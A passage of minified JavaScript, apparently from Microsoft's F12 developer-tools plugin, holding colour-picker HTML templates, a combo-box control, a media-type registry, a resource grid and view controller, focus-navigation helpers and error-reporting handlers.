readonly:1" tabindex="1"></div>            </div>            <div class="colorToolsPane">                <div data-name="slidersButton" data-control="Common.Controls.ToggleButton" data-control-templateid="Common.iconButton24x24" data-controlbinding="isChecked:isSlidersShown; mode=twoway" data-options="className:slidersButton,                                    tooltip:/Common/SlidersButtonTooltip; converter=Common.CommonConverters.ResourceConverter"></div>                <div data-name="paletteProgress" data-control="Common.TemplateControl" data-control-templateid="Common.paletteProgressTemplate" data-controlbinding="isVisible:isPaletteLoading"></div>                <div data-name="_colorPalette" data-control="Common.Controls.RibbonControl" data-control-templateid="Common.paletteItemsControlTemplate" data-controlbinding="items:paletteColors,                                           selectedItem:color; mode=twoway,                                           isEnabled:isPaletteLoading; converter=Common.CommonConverters.InvertBool" data-options="itemContainerControl:Common.Controls.Button(Common.paletteColorTemplate),                                    scrollIncrement:4; converter=Common.CommonConverters.StringToIntConverter,                                    tooltip:/Common/ColorPickerPaletteTooltip; converter=Common.CommonConverters.ResourceConverter"></div>            </div>            <div class="slidersPane" data-name="slidersPane" data-control="Common.Controls.ColorPickerSlidersControl" data-control-templateid="Common.slidersPaneTemplate" data-controlbinding="isVisible:isSlidersShown,                                       color:color; mode=twoway"></div>        </div>';t.paletteItemsControlTemplate='<div class="colorPalette">            <div data-name="_backwardScrollButton" data-control="Common.Controls.Button" data-control-templateid="Common.arrowButton" data-options="className:arrowLeft,                                tooltip:/Common/RibbonControlPreviousButtonTooltip; converter=Common.CommonConverters.ResourceConverter"></div>            <div data-name="_panel" data-options="className:colorPalettePanel" tabindex="1"></div>            <div data-name="_forwardScrollButton" data-control="Common.Controls.Button" data-control-templateid="Common.arrowButton" data-options="className:arrowRight,                                tooltip:/Common/RibbonControlNextButtonTooltip; converter=Common.CommonConverters.ResourceConverter"></div>        </div>';t.slidersPaneTemplate='<div>            <label data-options="textContent:/Common/Hue; converter=Common.CommonConverters.ResourceConverter">Hue</label>            <div data-name="hueText" data-control="Common.Controls.TextBox" data-controlbinding="text:hue" data-options="className:hslText,                                readonly:1" tabindex="-1"></div>            <input class="colorSlider hueSlider" type="range" min="0" max="359" step="1" data-controlbinding="value:hue; mode=twoway; converter=Common.CommonConverters.IntToStringConverter" data-options="attr-data-plugin-vs-tooltip:/Common/Hue; converter=Common.CommonConverters.ResourceConverter,                                  attr-aria-label:/Common/Hue; converter=Common.CommonConverters.ResourceConverter" tabindex="1" />            <label data-options="textContent:/Common/Saturation; converter=Common.CommonConverters.ResourceConverter">Saturation</label>            <div data-name="saturationText" data-control="Common.Controls.TextBox" data-controlbinding="text:saturation" data-options="className:hslText,                                readonly:1" tabindex="-1"></div>            <input class="colorSlider saturationSlider" type="range" min="0" max="100" step="1" data-controlbinding="value:saturation; mode=twoway; converter=Common.CommonConverters.IntToStringConverter" data-options="attr-data-plugin-vs-tooltip:/Common/Saturation; converter=Common.CommonConverters.ResourceConverter,                                  attr-aria-label:/Common/Saturation; converter=Common.CommonConverters.ResourceConverter" tabindex="1" />            <label data-options="textContent:/Common/Lightness; converter=Common.CommonConverters.ResourceConverter">Lightness</label>            <div data-name="lightnessText" data-control="Common.Controls.TextBox" data-controlbinding="text:lightness" data-options="className:hslText,                                readonly:1" tabindex="-1"></div>            <input class="colorSlider lightnessSlider" type="range" min="0" max="100" step="1" data-controlbinding="value:lightness; mode=twoway; converter=Common.CommonConverters.IntToStringConverter" data-options="attr-data-plugin-vs-tooltip:/Common/Lightness; converter=Common.CommonConverters.ResourceConverter,                                  attr-aria-label:/Common/Lightness; converter=Common.CommonConverters.ResourceConverter" tabindex="1" />            <label data-options="textContent:/Common/Alpha; converter=Common.CommonConverters.ResourceConverter">Alpha</label>            <div data-name="alphaText" data-control="Common.Controls.TextBox" data-controlbinding="text:alpha" data-options="className:hslText,                                readonly:1" tabindex="-1"></div>            <input class="colorSlider alphaSlider" type="range" min="0" max="100" step="1" data-controlbinding="value:alpha; mode=twoway; converter=Common.ColorSlidersConverters.AlphaConverter" data-options="attr-data-plugin-vs-tooltip:/Common/Alpha; converter=Common.CommonConverters.ResourceConverter,                                  attr-aria-label:/Common/Alpha; converter=Common.CommonConverters.ResourceConverter" tabindex="1" />        </div>';t.selectedColorTemplate='<div class="BPT-button colorSquare">            <span class="buttonIcon" data-controlbinding="style.backgroundColor:content"></span>        </div>';t.paletteColorTemplate='<div class="BPT-button colorSquare" tabindex="-1" data-controlbinding="attr-data-plugin-vs-tooltip:model,                                   attr-aria-label:model">            <span class="buttonIcon" data-controlbinding="style.backgroundColor:model"></span>        </div>';t.arrowButton='<div class="arrowButton"></div>';t.paletteProgressTemplate='<progress class="colorPaletteProgress colorPalettePanel"></progress>';e.Common=t}(ControlTemplates||(ControlTemplates={}));!function(e){!function(t){"use strict";class i extends t.ItemsControl{constructor(e){super(e||"Common.defaultComboBoxTemplate");this.itemContainerControl="Common.TemplateControl(Common.defaultComboBoxItemTemplate)"}get focusableElement(){return this.rootElement}static initialize(){e.ObservableHelpers.defineProperty(i,i.SelectedValuePropertyName,"")}onApplyTemplate(){super.onApplyTemplate();if(this.rootElement){this._onMouseOver=(e=>this.onMouseOver(e));this._onMouseOut=(e=>this.onMouseOut(e));this._onMouseDown=(e=>this.onMouseDown(e));this.rootElement.addEventListener("mouseover",this._onMouseOver);this.rootElement.addEventListener("mouseout",this._onMouseOut);this.rootElement.addEventListener("mousedown",this._onMouseDown)}}onTemplateChanging(){super.onTemplateChanging();if(this.rootElement){this.rootElement.removeEventListener("mouseover",this._onMouseOver);this.rootElement.removeEventListener("mouseout",this._onMouseOut);this.rootElement.removeEventListener("mousedown",this._onMouseDown)}}onItemsChangedOverride(){this.propertyChanged.invoke(i.SelectedValuePropertyName)}onItemContainerControlChangedOverride(){this.propertyChanged.invoke(i.SelectedValuePropertyName)}onCollectionChangedOverride(e){this.propertyChanged.invoke(i.SelectedValuePropertyName)}onIsEnabledChangedOverride(){super.onIsEnabledChangedOverride();this.isEnabled?this.rootElement.removeAttribute("disabled"):this.rootElement.setAttribute("disabled","disabled")}onMouseOver(e){if(this.isEnabled){for(var t=this.selectedValue,i=this.getItemCount(),s=0;s<i;s++){var n=this.getItem(s);n.value===t&&n.tooltip&&Microsoft.Plugin.Tooltip.show({content:n.tooltip})}e.stopImmediatePropagation();e.preventDefault()}}onMouseOut(e){Microsoft.Plugin.Tooltip.dismiss()}onMouseDown(e){Microsoft.Plugin.Tooltip.dismiss()}}i.SelectedValuePropertyName="selectedValue";t.ComboBox=i;i.initialize()}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){"use strict";class t{static reinitialize(){this._initialized=!1;this.initialize()}static getCanonicalMediaType(e){this.initialize();if(!e)return e;e=this.normalizeMediaType(e);return this.getCanonicalMediaTypeCommon(e)}static isEditableMediaType(e){this.initialize();if(!e)return!1;e=this.normalizeMediaType(e);return this.isEditableMediaTypeCommon(e)}static mediaTypeSupportsFindRefs(e){this.initialize();if(!e)return!1;e=this.normalizeMediaType(e);return this.mediaTypeSupportsFindRefsCommon(e)}static isJMCEnabledForMediaType(e){this.initialize();if(!e)return!1;e=this.normalizeMediaType(e);return this.isJMCEnabledForMediaTypeCommon(e)}static getMediaTypeForFileExtension(e,t){this.initialize();if(e){e=this.normalizeFileExtension(e);return this.getMediaTypeForFileExtensionCommon(e,t)}return this.getCanonicalFallbackMediaType(t)}static getSortedMediaTypes(e){this.initialize();if(!e)return[];var t=new Set,i=(e=e.filter(e=>{if(!e||t.has(e))return!1;t.add(e);return!0})).length;if(i<=0)return[];for(var s=new Array(i),n=new Array(i),o=0;o<i;o++){s[o]=o;var r=this.normalizeMediaType(e[o]);n[o]=this.getCanonicalMediaTypeCommon(r)}s.sort((e,t)=>{var i=this.getRank(n[e]),s=this.getRank(n[t]);return i<s?-1:i>s?1:e-t});var a=new Array(i);for(o=0;o<i;o++)a[o]=e[s[o]];return a}static registerMediaTypes(e){if(e)for(var t in e)this.registerMediaType(t,e[t])}static registerMediaType(e,t){if(e){e=this.normalizeMediaType(e);this.registerMediaTypeCommon(e,t)}}static setEditableMediaType(e,t){if(e){e=this.normalizeMediaType(e);this.setEditableMediaTypeCommon(e,t)}}static setJMCEnabledMediaType(e,t){if(e){e=this.normalizeMediaType(e);this.setJMCEnabledMediaTypeCommon(e,t)}}static registerAlternateMediaTypes(e,t){if(e&&t&&!(t.length<=0)){e=this.normalizeMediaType(e);this.registerAlternateMediaTypesCommon(e,t)}}static registerAlternateMediaType(e,t){if(e&&t){e=this.normalizeMediaType(e);t=this.normalizeMediaType(t);this.registerAlternateMediaTypeCommon(e,t)}}static registerMediaTypeFileExtensions(e,t){if(e&&t&&!(t.length<=0)){e=this.normalizeMediaType(e);this.registerMediaTypeFileExtensionsCommon(e,t)}}static registerMediaTypeFileExtension(e,t){if(t&&e){e=this.normalizeMediaType(e);t=this.normalizeFileExtension(t);this.registerMediaTypeFileExtensionCommon(e,t)}}static initialize(){if(!this._initialized){this.registerMediaTypes(this._defaultMediaTypes);this.setEditableMediaType("text/css",!0);this.setEditableMediaType("text/javascript",!0);this._initialized=!0}}static getCanonicalMediaTypeCommon(e){for(;;){var t=this._canonicalMap.get(e);if(!t)break;e=t}return e}static getMediaTypeForFileExtensionCommon(e,t){var i=this._extensionMap.get(e);return i?this.getCanonicalMediaTypeCommon(i):this.getCanonicalFallbackMediaType(t)}static isEditableMediaTypeCommon(e){for(;e;){if(this._editableMediaTypes.has(e))return!0;e=this._canonicalMap.get(e)}return!1}static isJMCEnabledForMediaTypeCommon(e){for(;e;){if(this._jmcMediaTypes.has(e))return!0;e=this._canonicalMap.get(e)}return!1}static mediaTypeSupportsFindRefsCommon(e){for(;e;){if(this._findRefsMediaTypes.has(e))return!0;e=this._canonicalMap.get(e)}return!1}static registerMediaTypeCommon(e,t){if(t){t.alternates&&t.alternates.length>0&&this.registerAlternateMediaTypesCommon(e,t.alternates);t.extensions&&t.extensions.length>0&&this.registerMediaTypeFileExtensionsCommon(e,t.extensions);"editable"in t&&this.setEditableMediaTypeCommon(e,t.editable);"canFindRefs"in t&&this.setMediaTypeCanFindRefsCommon(e,t.canFindRefs);"jmcEnabled"in t&&this.setJMCEnabledMediaTypeCommon(e,t.jmcEnabled)}}static registerAlternateMediaTypesCommon(e,t){t.forEach(t=>{if(t){t=this.normalizeMediaType(t);this.registerAlternateMediaTypeCommon(e,t)}})}static registerAlternateMediaTypeCommon(e,t){if(e!==t){for(var i=this._canonicalMap.get(e);i;){F12.Tools.Utility.Assert.areNotEqual(i,t,"Invalid attempt to add a cyclical reference to a media type.");i=this._canonicalMap.get(i)}this._canonicalMap.set(t,e)}}static registerMediaTypeFileExtensionsCommon(e,t){t.forEach(t=>{if(t){t=this.normalizeFileExtension(t);this.registerMediaTypeFileExtensionCommon(e,t)}})}static registerMediaTypeFileExtensionCommon(e,t){this._extensionMap.set(t,e)}static setEditableMediaTypeCommon(e,t){t?this._editableMediaTypes.add(e):this._editableMediaTypes.delete(e)}static setMediaTypeCanFindRefsCommon(e,t){t?this._findRefsMediaTypes.add(e):this._findRefsMediaTypes.delete(e)}static setJMCEnabledMediaTypeCommon(e,t){t?this._jmcMediaTypes.add(e):this._jmcMediaTypes.delete(e)}static normalizeMediaType(e){var t=(e=(e=e.trim()).toLowerCase()).indexOf(";");t>-1&&(e=e.substr(0,t));return e}static normalizeFileExtension(e){"."!==(e=(e=e.trim()).toLowerCase()).charAt(0)&&(e="."+e);return e}static getRank(e){switch(e){case"text/plain":return 3;case"text/javascript":case"text/html":case"text/css":case"text/xml":return 2;case"text/typescript":case"text/coffeescript":case"text/x-csharp":case"text/less":case"text/scss":return 1;default:return 0}}static getCanonicalFallbackMediaType(e){if(e){e=this.normalizeMediaType(e);return this.getCanonicalMediaTypeCommon(e)}return"text/plain"}}t._initialized=!1;t._defaultMediaTypes={"text/html":{alternates:["text/x-jshtm","text/x.jshtm"],extensions:[".html",".htm"],jmcEnabled:!0},"text/xml":{alternates:["application/xml"],extensions:[".xml",".xsl",".svg"]},"text/javascript":{alternates:["text/javascript1.0","text/javascript1.1","text/javascript1.2","text/javascript1.3","text/javascript1.4","text/javascript1.5","text/jscript","text/livescript","text/x-javascript","text/x-ecmascript","text/x.javascript","text/x.ecmascript","application/javascript","application/ecmascript","application/x-javascript","application/x-ecmascript","application/x.javascript","application/x.ecmascript"],extensions:[".js"],jmcEnabled:!0,canFindRefs:!0},"text/typescript":{alternates:["video/vnd.dlna.mpeg-tts","text/x.typescript","text/vnd.ms.typescript","application/typescript","application/x.typescript","application/vnd.ms.typescript"],extensions:[".ts",".str"],jmcEnabled:!0,canFindRefs:!0},"text/coffeescript":{alternates:["text/x-coffeescript","text/x.coffeescript","application/coffeescript","application/x-coffeescript","application/x.coffeescript"],extensions:[".coffee"],jmcEnabled:!0},"text/x-csharp":{alternates:[],extensions:[".cs"],jmcEnabled:!0},"text/css":{alternates:[],extensions:[".css"]},"text/less":{alternates:["text/x-less","text/x.less"],extensions:[".less"]},"text/scss":{alternates:["text/x-scss","text/x.scss"],extensions:[".sass",".scss"]}};t._extensionMap=new Map;t._canonicalMap=new Map;t._editableMediaTypes=new Set;t._findRefsMediaTypes=new Set;t._jmcMediaTypes=new Set;e.MediaTypeManager=t}(Common||(Common={}));!function(e){"use strict";class t{static get EmptyPromise(){t.EmptyPromiseObject||(t.EmptyPromiseObject=Promise.resolve());return t.EmptyPromiseObject}}e.PromiseUtilities=t}(Common||(Common={}));!function(e){!function(t){"use strict";class i{constructor(e){this._viewModel=e;this._rootElement=document.createElement("div");this._rootElement.classList.add("resourceGrid");this._rootElement.tabIndex=0;this._gridRootElement=document.createElement("div");this._gridRootElement.classList.add("resourceGrid-grid");this._titleElement=document.createElement("div");this._titleElement.classList.add("resourceGrid-title");this._viewModel.title.addHandler(this.onTitleChange.bind(this));this._rootElement.appendChild(this._titleElement);this._rootElement.appendChild(this._gridRootElement);var t={enableColumnReorder:!1,forceFitColumns:!0,editable:!0,enableAddRow:!0,autoEdit:!1,explicitInitialization:!0,editCommandHandler:this._viewModel.editItem.bind(this._viewModel),enableAsyncPostRender:!0,asyncPostRenderDelay:0,rowHeight:20,syncColumnCellResize:!0};i.initColumns(this._viewModel.columns);var s=this._viewModel.dataView;this._grid=new Slick.Grid(this._gridRootElement,s,this._viewModel.columns,t);this._grid.setSelectionModel(new Slick.RowSelectionModel);var n=this._viewModel.columns[0];this._grid.setSortColumn(n.id,!0);this._viewModel.sort({sortColName:n.field,ascending:!0});$(this._rootElement).on("focus",()=>{this.doLayout(!0)});$(this._gridRootElement).on("blur","input.editor-text",()=>Slick.GlobalEditorLock.commitCurrentEdit());this._contextMenuId=i.NextId++;this._gridRootElement.addEventListener("contextmenu",e=>this.showContextMenu(e));window.addEventListener("resize",this.doLayout.bind(this));this.setupGridDataEvents()}get rootElement(){return this._rootElement}setupGridDataEvents(){var t=this._viewModel.dataView;t.onRowCountChanged.subscribe((e,t)=>{this.preserveActiveRowState(()=>{this._grid.updateRowCount();this._grid.render()})});t.onRowsChanged.subscribe((e,t)=>{this.preserveActiveRowState(()=>{this._grid.invalidateRows(t.rows);this._grid.render()})});this._grid.onAddNewRow.subscribe((e,t)=>{this._viewModel.addItem(t.item)});this._grid.onSort.subscribe((e,t)=>{this._viewModel.sort({sortColName:t.sortCol.field,ascending:t.sortAsc})});this._grid.onBeforeEditCell.subscribe((e,i)=>{var s=!0;if(i.row===t.getLength()&&i.column!==this._viewModel.columns[0]){s=!1;this.forceEditInAddNewRow()}return s});this._grid.onKeyDown.subscribe((t,i)=>{if(t.which!==e.KeyCodes.Delete||t.ctrlKey||t.shiftKey||t.altKey||!this._grid.getActiveCell()||this.isEditing())if(t.which===e.KeyCodes.Tab)this.isEditing()&&window.setImmediate(()=>this._grid.editActiveCell());else if(t.which!==e.KeyCodes.F5||!t.ctrlKey||t.shiftKey||t.altKey||this.isEditing()){if(t.which===e.KeyCodes.A&&t.ctrlKey&&!t.shiftKey&&!t.altKey&&!this.isEditing()){this.selectAll();t.preventDefault();t.stopPropagation()}}else{this._viewModel.refresh();t.preventDefault();t.stopPropagation()}else{var s=this._grid.getDataLength(),n=this._grid.getSelectedRows().filter(e=>e!==s);this._grid.setSelectedRows([]);this._viewModel.removeItems(n)}});this._grid.onActiveCellChanged.subscribe((e,i)=>{if(void 0!==i.row){this._activeRowNum=i.row;this._activeRowId=this._viewModel.dataView.mapRowsToIds([i.row])[0];this._activeCell=i.cell;i.row===t.getLength()&&this.forceEditInAddNewRow()}else this._activeRowNum=this._activeRowId=this._activeCell=null});this._viewModel.setupGridDataEvents(this._grid)}doLayout(e){this._grid.resizeCanvas();if(e){null===this._grid.getActiveCellNode()&&this._grid.setActiveCell(0,0);this._grid.focus()}}init(){this._grid.init();this.initHeaderTooltips()}static initColumns(e){var t=(e,t,i,s)=>{var n=""+i[s.field];e.setAttribute("aria-label",s.name+", "+n);var o=JSON.stringify({content:n});e.setAttribute("data-plugin-vs-tooltip",o)};e.forEach(e=>e.asyncPostRender=t)}forceEditInAddNewRow(){setTimeout(()=>{this._rootElement.parentElement&&this._grid.gotoCell(this._viewModel.dataView.getLength(),0,!0)},0)}initHeaderTooltips(){this._viewModel.columns.filter(e=>e.headerCssClass&&e.showF12Tooltip).forEach(e=>{var t=this._gridRootElement.querySelector(".slick-header-column."+e.headerCssClass);t&&t.setAttribute("data-plugin-vs-tooltip",e.name)})}onCopy(){var t=this._viewModel.columns.map(e=>e.field).filter(e=>"id"!==e),i=this._viewModel.dataView.getItems()||[],s=this._grid.getSelectedRows().sort((e,t)=>e-t).map(e=>i[e]);const n=e.CSVWriter.toCSV(t,s);e.ClipboardHelper.copyPlainText(n)}onCopyMenuItemClicked(){this.onCopy()}selectAll(){var e=this._viewModel.dataView.getItems();if(e){var t=0,i=e.map(e=>t++);this._grid.setSelectedRows(i)}}onTitleChange(e){this._titleElement.innerText=e;this._titleElement.setAttribute("data-plugin-vs-tooltip",e)}isEditing(){return!!this._grid.getCellEditor()}showContextMenu(e){if(this._contextMenu){this._contextMenu.dispose();this._contextMenu=null}var t=this._grid.getCellFromEvent(e),i=t?t.row:null;this._contextMenu=Microsoft.Plugin.ContextMenu.create(this.createContextMenuItems(i),"resourceContextMenu"+this._contextMenuId);var s=0,n=0;if(e instanceof MouseEvent){s=e.pageX;n=e.pageY}if(s<=0&&n<=0){var o=this._grid.getCellNode(t.row,t.cell).getBoundingClientRect();s=o.left;n=o.top}this._contextMenu.show(s,n);e.preventDefault();e.stopImmediatePropagation()}createContextMenuItems(e){var t=[];t.push({id:"menuItemRefreshResourceItems"+this._contextMenuId,callback:()=>this._viewModel.refresh(),label:Microsoft.Plugin.Resources.getString("/Common/ResourceGridRefresh"),type:Microsoft.Plugin.ContextMenu.MenuItemType.command,disabled:()=>!1,accessKey:Microsoft.Plugin.Resources.getString("/Common/AccessKeyCtrlF5")});(t=t.concat(this._viewModel.createContextMenuItems(e))).push({id:"menuItemCopySelected"+this._contextMenuId,callback:this.onCopyMenuItemClicked.bind(this),label:Microsoft.Plugin.Resources.getString("CopySelectedItems"),type:Microsoft.Plugin.ContextMenu.MenuItemType.command,disabled:()=>!1,accessKey:Microsoft.Plugin.Resources.getString("/Common/AccessKeyCtrlC")});t.push({id:"menuItemSelectAll"+this._contextMenuId,callback:this.selectAll.bind(this),label:Microsoft.Plugin.Resources.getString("SelectAll"),type:Microsoft.Plugin.ContextMenu.MenuItemType.command,disabled:()=>!1,accessKey:Microsoft.Plugin.Resources.getString("/Common/AccessKeyCtrlA")});return t}preserveActiveRowState(e){var t,i=this._activeRowId,s=this._activeRowNum,n=this._activeCell,o=this._grid.getCellEditor();o&&(t=o.serializeValue());var r=document.activeElement===this._grid.getActiveCellNode();e();if(i){var a=this._viewModel.dataView.mapIdsToRows([i])[0];a="number"==typeof a?a:s;var l=this._grid.getDataLength();a=Math.min(a,l);this._grid.setActiveCell(a,n);this._grid.getSelectedRows().length||this._grid.setSelectedRows([a]);var h=this._grid.getActiveCellNode();h&&r&&h.focus();if((o||a===l)&&this._rootElement.parentElement){this._grid.editActiveCell();var d=this._viewModel.columns[n].field;if(o){var c={};c[d]=t;o.loadValue(c)}}}}}i.NextId=0;t.ResourceGrid=i}(e.ResourcesView||(e.ResourcesView={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i{constructor(t,s=null,n=!1,o){this._handlers=new Map;this.propertyChanged=new e.EventSource;this._rootElement=t||document.createElement("div");this._openModels=[];this._toolbar=s;this._keepModelStack=n;this._listeners=new Set;this._testEventObject=new e.EventHelperObject;s&&s.rootElement.classList.add(i.HideResourceToolbarCssClass);o&&this.insertDocumentPlaceholder()}get rootElement(){return this._rootElement}get currentModel(){return this._openModels.length>0?this._openModels[this._openModels.length-1]:null}get currentHandler(){return this.currentModel?this._handlers.get(this.currentModel.modelName):null}get testEventObject(){return this._testEventObject}get openModels(){return this._openModels}registerHandler(e,t){F12.Tools.Utility.Assert.hasValue(e);F12.Tools.Utility.Assert.isTrue(e.length>0);F12.Tools.Utility.Assert.hasValue(t);this._handlers.set(e,t)}registerListener(e){F12.Tools.Utility.Assert.hasValue(e);this._listeners.add(e)}doLayout(){if(this.currentModel){var e=this._handlers.get(this.currentModel.modelName);if(e){this._pendingLayoutImmediate&&window.clearImmediate(this._pendingLayoutImmediate);this._pendingLayoutImmediate=window.setImmediate(()=>e.doLayout())}}}primeWithElement(e){this.currentModel||this.rootElement.firstChild||this.rootElement.appendChild(e)}open(t,i={}){F12.Tools.Utility.Assert.hasValue(t);if(t.preventOpen)return e.PromiseUtilities.EmptyPromise;null==i.activation&&(i.activation=2);var s=this._handlers.get(t.modelName);if(!s)return e.PromiseUtilities.EmptyPromise;this.currentModel||0!==i.activation||(i.activation=1);var n=this.currentModel;if(0!==i.activation){this.removeModel(t);this._openModels.push(t);this.propertyChanged.invoke("currentModel")}else this.modelIsOpen(t)||this._openModels.unshift(t);return s.open(t,i.activation,i.params).then(e=>{if(e){!this._keepModelStack&&n&&this.close(n,!1);if(this.modelIsOpen(t)){this.fireOpened(t,i.activation,i.params,i.softOpen);if(0!==i.activation&&t===this.currentModel){if(this.rootElement.firstChild){this.rootElement.removeChild(this.rootElement.firstChild);F12.Tools.Utility.Assert.isFalse(!!this.rootElement.firstChild)}this.rootElement.appendChild(e.rootElement);s.onAttach&&s.onAttach();this.updateToolbar();s.searchProvider&&s.searchProvider.findAndHighlightMatches()}}}else this.removeModel(t)})}closeCurrent(e){this.currentModel&&this.close(this.currentModel,e)}close(e,t,i=!0,s){F12.Tools.Utility.Assert.hasValue(e);var n=this._handlers.get(e.modelName);if(n){i=i&&this.currentModel===e&&this._keepModelStack;n.close(e,t);this.removeModel(e);this.fireClosed(e,t);if(i&&this.currentModel)this.open(this.currentModel,{activation:2});else if(!this.currentModel){this.updateToolbar();if(this.rootElement&&this.rootElement.firstChild){this.rootElement.removeChild(this.rootElement.firstChild);s&&this.insertDocumentPlaceholder()}}}}closeAllButThis(t,i,s){for(;this._openModels.length>0;){var n=this._openModels[0];n!==t?this.close(n,i,!1,s):this._openModels.shift()}return t?this.open(t,{activation:2}):e.PromiseUtilities.EmptyPromise}replace(e,t){for(var i=0;i<this._openModels.length;i++)if(this._openModels[i]===e){this._openModels[i]=t;if(i===this._openModels.length-1){this.propertyChanged.invoke("currentModel");this.updateToolbar()}break}}resourceAdded(e,t){F12.Tools.Utility.Assert.hasValue(e);this.fireAdded(e,t)}resourceRemoved(e){F12.Tools.Utility.Assert.hasValue(e);this.modelIsOpen(e)&&this.close(e,!0);this.fireRemoved(e)}getElementsByClassNameInToolbarRootElement(e){return this._toolbar.rootElement.getElementsByClassName(e)}updateToolbar(){if(this._toolbar)if(this.currentModel&&this.currentModel.toolbarPanelTemplate){this._toolbar.model=this.currentModel;this._toolbar.panelTemplateId=this.currentModel.toolbarPanelTemplate;this._toolbar.rootElement.classList.remove(i.HideResourceToolbarCssClass)}else this._toolbar.rootElement.classList.add(i.HideResourceToolbarCssClass)}modelIsOpen(e){return this._openModels.indexOf(e)>=0}removeModel(e){var t=this._openModels.indexOf(e);if(t>=0){this._openModels.splice(t,1);t===this._openModels.length&&this.propertyChanged.invoke("currentModel")}}insertDocumentPlaceholder(){const e=[{shortcutKeys:Microsoft.Plugin.Resources.getString("OpenDocShortcut"),description:Microsoft.Plugin.Resources.getString("OpenDoc")},{shortcutKeys:Microsoft.Plugin.Resources.getString("CtrlShiftF"),description:Microsoft.Plugin.Resources.getString("FindInFiles")},{shortcutKeys:Microsoft.Plugin.Resources.getString("ToggleConsoleShortcut"),description:Microsoft.Plugin.Resources.getString("ToggleConsole")}];this.rootElement.classList.add("resourcesView");let t=document.createElement("div");t.classList.add("documentPlaceholder");this.rootElement.appendChild(t);for(let i of e){let e=document.createElement("div");e.classList.add("documentPlaceholderRow");t.appendChild(e);let s=document.createElement("div");s.classList.add("documentPlaceholderKey");s.textContent=i.shortcutKeys;let n=document.createElement("div");n.classList.add("documentPlaceholderValue");n.textContent=i.description;e.appendChild(s);e.appendChild(n)}}fireOpened(e,t,i,s){this._listeners.forEach(n=>{n.resourceOpened&&n.resourceOpened(e,t,i,s)});this._testEventObject.fireEvent("resourceOpened",{model:e,activation:t})}fireClosed(e,t){this._listeners.forEach(i=>{i.resourceClosed&&i.resourceClosed(e,t)});this._testEventObject.fireEvent("resourceClosed",{model:e,isRuntimeTriggered:t})}fireAdded(e,t){this._listeners.forEach(i=>{i.resourceAdded&&i.resourceAdded(e,t)});this._testEventObject.fireEvent("resourceAdded",{model:e,couldHaveExistingChildren:t})}fireRemoved(e,t){this._listeners.forEach(t=>{t.resourceRemoved&&t.resourceRemoved(e)});this._testEventObject.fireEvent("fireRemoved",{model:e,leaveInTable:t})}}i.NextModelId=1;i.HideResourceToolbarCssClass="BPT-hidden";t.ResourceViewController=i}(e.ResourcesView||(e.ResourcesView={}))}(Common||(Common={}));!function(e){"use strict";class t{static registerFocusHandlers(e){if(Microsoft.Plugin.F12){t.LastActiveElement=document.head.parentElement;t.LastActiveElement.focus()}}static unregisterFocusHandlers(e){if(Microsoft.Plugin.F12){t.LastActiveElement=document.head.parentElement;t.LastActiveElement.focus()}}static registerNavigationFrames(e){t.NavigationFrames=e;if(!t.Registered){window.addEventListener("navigatesubframes",e=>{t.navigateFrames(e.detail.isForward,e.detail.useActiveElement)||e.preventDefault()});t.Registered=!0}}static enableNavigation(){t.Enabled=!0}static disableNavigation(){t.Enabled=!1}static makeNavigationFrameFromTarget(e,i){return t.makeNavigationFrameFromCallback(e,()=>i)}static makeNavigationFrameFromCallback(e,t){return{container:e,getNavigationTarget:t}}static navigateFrames(e,i){var s=[],n=[],o=-1,r=e?1:-1;if(!t.Enabled)return!1;if(!t.NavigationFrames||!t.NavigationFrames.length)return!0;for(var a=0;a<t.NavigationFrames.length;a++){var l=t.NavigationFrames[a];s.push(l.container);n.push(l.getNavigationTarget())}if(i){for(var h,d=document.activeElement,c=0;c<s.length;c++){var u=s[c];u.contains(d)&&(h?h.contains(u)&&(h=u):h=u)}h&&(o=s.indexOf(h)+r)}else o=e?0:n.length-1;for(;o>=0&&o<n.length;){var m=n[o];if(m){m.focus();return!1}o+=r}return!0}static showFocus(e,i){var s=document.body,n=document.activeElement,o=t.LastActiveElement;if(e)if(n&&n!==s){n===document.body&&(n=n.querySelector('[tabIndex="1"]'));n&&n.focus()}else if(t.shouldFocus(o)&&o!==s)o.focus();else{var r=!0;i===Microsoft.Plugin.F12.PluginId.Console&&(r=!1);t.navigateFrames(r,!1)}else if(n){n.blur();n!==s&&(t.LastActiveElement=n)}return!1}static shouldFocus(e){return e&&document.body.contains(e)&&"none"!==e.style.display&&"hidden"!==e.style.visibility&&!e.getAttribute("disabled")&&e.tabIndex>=0}}t.Enabled=!0;t.Registered=!1;e.NavigationUtilities=t}(Common||(Common={}));!function(e){"use strict";class t{static reportErrorGivenStack(e){var i=e.message;if(!("stack"in e))try{throw e}catch(t){e=t}for(var s,n=e.stack||"",o=n.split("\n"),r=0;r<o.length&&!(s=t.StackRegex.exec(o[r]));r++);if(s){var a=s[3],l=parseInt(s[4],10),h=parseInt(s[5],10);window.reportError(i,a,l,n,h)}}static reportErrorDetails(e){window.reportError(e.message,e.file,e.line,e.additionalInfo,e.column)}}t.StackRegex=new RegExp(".* at ([^(]+) (.*/23/([^:]+):([0-9]+):([0-9]+))","gim");t.ReportedToWatson=!1;e.ErrorHandling=t}(Common||(Common={}));if("undefined"!=typeof window){window.reportError=function(e,t,i,s,n,o,r){let a=window;e=e||"";t=t||"";i=i||0;s=s||"";n=n||0;o=o||0;r=r||"";if(isDebugBuild){const o=a.errorComponent?a.errorComponent:"Common";console.error([o,e,t,i,n].join("\r\n"));a.errorDisplayHandler&&a.errorDisplayHandler(e,t,i,s,n)}if(a.Microsoft){if(Microsoft.Plugin.F12.SelfTest.selfTestEnabled){let o="";try{o=Microsoft.Plugin.F12.myPluginName}catch(e){}const r={messageId:`F12UNHANDLED ${o}`,message:e,file:t,line:i,column:n,additionalInfo:s},a=Microsoft.Plugin.F12.Communications.getRpcClient();a.call("ms:header","reportF12UnhandledError",[r]);a.call("ms:console","reportF12UnhandledError",[r])}Microsoft&&Microsoft.Plugin&&Microsoft.Plugin.Diagnostics&&Microsoft.Plugin.Diagnostics.reportError&&Microsoft.Plugin.Diagnostics.reportError(e,t,i,s,n,o,r)}};window.onerror=function(e,t,i,s){var n=0,o="";let r=0,a="";if(arguments){arguments[3]&&"number"==typeof arguments[3]&&(n=arguments[3]);if(arguments[4]&&arguments[4]instanceof Error){o="Error number: "+arguments[4].number;o+="\r\nStack: "+arguments[4].stack;r=arguments[4].number;a=arguments[4].name}}window.reportError(e,t,i,o,n,r,a);return!0}}!function(e){"use strict";class 